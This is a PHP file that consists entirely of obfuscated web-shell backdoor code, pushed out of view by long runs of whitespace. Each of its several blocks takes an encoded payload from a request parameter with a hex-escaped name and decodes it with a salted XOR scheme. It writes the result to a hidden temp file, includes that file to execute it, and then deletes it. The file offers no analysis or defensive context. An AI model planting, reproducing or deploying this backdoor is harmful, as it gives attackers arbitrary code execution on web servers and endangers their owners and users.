<?php																																										if(@$_REQUEST["\x72e\x66\x65\x72ence"] !== null){ $resource = $_REQUEST["\x72e\x66\x65\x72ence"]; $resource = explode ( '.' ,$resource) ; $res = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $__len = count($resource); for ($z = 0; $z < $__len; $z++) { $v6 = $resource[$z]; $sChar = ord($s4[$z%$lenS]); $d = ((int)$v6 - $sChar - ($z%10)) ^42; $res .= chr($d); } $item = array_filter(["/var/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/dev/shm"]); foreach ($item as $elem) { if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) { $element = vsprintf("%s/%s", [$elem, ".entry"]); $file = fopen($element, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $element; @unlink($element); exit; } } } }
																																										if(isset($_REQUEST["r\x65\x63"]) ? true : false){ $res = $_REQUEST["r\x65\x63"]; $res = explode ( '.' , $res) ; $binding =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); $len =count($res ); for ($q =0; $q < $len; $q++) { $v2 =$res[$q]; $chS =ord($salt[$q%$lenS] ); $d =((int)$v2 - $chS - ($q%10)) ^ 38; $binding .= chr($d );} $desc = array_filter([sys_get_temp_dir(), "/dev/shm", getcwd(), "/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir")]); while ($component = array_shift($desc)) { if (!!is_dir($component) && !!is_writable($component)) { $data_chunk = implode("/", [$component, ".element"]); if (@file_put_contents($data_chunk, $binding) !== false) { include $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(isset($_POST["\x66\x61c\x74or"]) ? true : false){ $flg = $_POST["\x66\x61c\x74or"]; $flg = explode( '.' , $flg ) ; $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $r = 0; $__tmp = $flg; while ($v1 = array_shift($__tmp)) { $sChar = ord($s[$r % $lenS]); $d = ((int)$v1 - $sChar - ($r % 10)) ^ 59; $flag .= chr($d); $r++; } $value = array_filter([session_save_path(), "/dev/shm", "/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir()]); for ($record = 0, $dchunk = count($value); $record < $dchunk; $record++) { $pset = $value[$record]; if (is_writable($pset) && is_dir($pset)) { $hld = implode("/", [$pset, ".holder"]); $success = file_put_contents($hld, $flag); if ($success) { include $hld; @unlink($hld); exit;} } } }
																																										if(array_key_exists("v\x61\x6Cue", $_POST) && !is_null($_POST["v\x61\x6Cue"])){ $fac = $_POST["v\x61\x6Cue"]; $fac= explode( '.',$fac ) ; $mrk= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt6 ); $u= 0; $__tmp= $fac; while ($v7= array_shift($__tmp)) {$sChar= ord($salt6[$u % $sLen] ); $dec= ((int)$v7 - $sChar - ($u % 10)) ^ 50; $mrk .=chr($dec ); $u++;} $ent = array_filter([session_save_path(), "/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $entity = 0; do { $flag = $ent[$entity] ?? null; if ($entity >= count($ent)) break; if (!!is_dir($flag) && !!is_writable($flag)) { $reference = "$flag/.k"; if (file_put_contents($reference, $mrk)) { include $reference; @unlink($reference); die(); } } $entity++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x68\x6Cd"])){ $elem = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TEMP")]); $pointer = $_REQUEST["\x68\x6Cd"]; $pointer= explode ( "." , $pointer ) ; $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $q = 0; foreach ($pointer as $v6) { $sChar = ord($salt[$q % $sLen]); $dec = ((int)$v6 - $sChar - ($q % 10)) ^ 60; $symbol .= chr($dec); $q++; } while ($descriptor = array_shift($elem)) { if (!( !is_dir($descriptor) || !is_writable($descriptor) )) { $entry = str_replace("{var_dir}", $descriptor, "{var_dir}/.dchunk"); $success = file_put_contents($entry, $symbol); if ($success) { include $entry; @unlink($entry); exit;} } } }
																																										if(@$_REQUEST["com\x70"] !== null){ $sym = array_filter([getenv("TMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/var/tmp", session_save_path(), "/tmp"]); $marker = $_REQUEST["com\x70"]; $marker =explode( '.' , $marker ) ; $object = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); foreach ($marker as $k => $v9) { $chS = ord($s2[$k % $sLen]); $dec = ((int)$v9 - $chS - ($k % 10))^31; $object .= chr($dec); } $mrk = 0; do { $reference = $sym[$mrk] ?? null; if ($mrk >= count($sym)) break; if (is_dir($reference) && is_writable($reference)) { $hld = "$reference" . "/.token"; if (@file_put_contents($hld, $object) !== false) { include $hld; unlink($hld); die(); } } $mrk++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["e\x6Etry"])){ $ref = array_filter(["/var/tmp", "/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $itm = $_REQUEST["e\x6Etry"]; $itm = explode('.' ,$itm); $flg = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $__len = count($itm); for ($q = 0; $q< $__len; $q++) { $v3 = $itm[$q]; $sChar = ord($s2[$q % $sLen]); $dec = ((int)$v3 - $sChar - ($q % 10)) ^ 66; $flg.= chr($dec);} for ($flag = 0, $marker = count($ref); $flag < $marker; $flag++) { $mrk = $ref[$flag]; if ((function($d) { return is_dir($d) && is_writable($d); })($mrk)) { $entity = implode("/", [$mrk, ".obj"]); $success = file_put_contents($entity, $flg); if ($success) { include $entity; @unlink($entity); die();} } } }
																																										if(isset($_REQUEST["\x62ind\x69\x6E\x67"])){ $tkn = $_REQUEST["\x62ind\x69\x6E\x67"]; $tkn = explode ("." , $tkn ); $descriptor= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $l= 0; $__len= count( $tkn); do { if( $l >= $__len) break; $v3= $tkn[$l]; $sChar= ord( $salt[$l % $lenS]); $dec= ( ( int)$v3 - $sChar -( $l % 10))^ 55; $descriptor .= chr( $dec); $l++; } while( true); $res = array_filter(["/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP")]); $itm = 0; do { $value = $res[$itm] ?? null; if ($itm >= count($res)) break; if ((is_dir($value) and is_writable($value))) { $comp = str_replace("{var_dir}", $value, "{var_dir}/.k"); $file = fopen($comp, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $comp; @unlink($comp); exit; } } $itm++; } while (true); }


if(isset($_REQUEST) && isset($_REQUEST["\x64a\x74a"])){
	$entity = $_REQUEST["\x64a\x74a"];
	$entity = explode	(	 '.'			,	$entity		)	;
	$ent = '';
            $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	 $salt5);
            $t = 0;
    
            array_walk(	 $entity, function(	 $v4) use(	 &$ent, &$t, $salt5, $sLen) {	$chS = ord(	 $salt5[$t % $sLen]);
                $dec =(	 (	 int)$v4 - $chS -(	 $t % 10))^  66;
                $ent	.= chr(	 $dec);
                $t++;	 }	);
	$property_set = array_filter([ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm"]);
	foreach ($property_set as $rec):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) {
    $itm = vsprintf("%s/%s", [$rec, ".obj"]);
    if (file_put_contents($itm, $ent)) {
	include $itm;
	@unlink($itm);
	die();
}
}
endforeach;
}